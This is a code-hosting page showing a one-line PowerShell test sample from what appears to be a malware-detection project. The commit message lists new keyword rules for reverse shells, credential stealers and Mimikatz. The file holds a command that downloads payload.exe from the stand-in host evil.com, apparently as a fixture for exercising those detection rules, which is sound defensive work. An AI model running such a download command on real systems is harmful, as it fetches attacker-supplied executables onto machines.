zhaolei/MeshSate
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
Files
43b4db85e7b9806da8df105e9c20065808000c4e
MeshSate/tests/samples/L3-001_001_sample.ps1

1 line
77 B
PowerShell
Raw Normal View History

feat: 靶场对齐 CSV 126 条用例 - policy.yaml: 新增 9 条恶意行为关键词规则（ReverseShell/CredentialStealer/Mimikatz/TScon 等） - binary.py: 新增 4 条 PE 检测（UPXPackerDetected/RWXSectionDetected/PEArchInfo/DebugInformationPresent） - console.py + test_center.html: 靶场表格最前加 case_id 列，与 CSV 用例编号一致 - docker-compose.yml: 挂载 tests/samples 为只读 volume，样本更新免 rebuild - scripts/generate_csv_samples.py: 一键从用例.csv 生成样本 + index.json - tests/samples/: 128 个 CSV 对齐样本文件 + index.json（93 条元数据） 引擎覆盖度: L3 12%→60%, L5 20%→55%, 总计 54%→75%
2026-10-29 11:33:58 +08:00
Invoke-WebRequest -Uri https://evil.com/payload.exe -OutFile C:\temp\evil.exe
Reference in New Issue Copy Permalink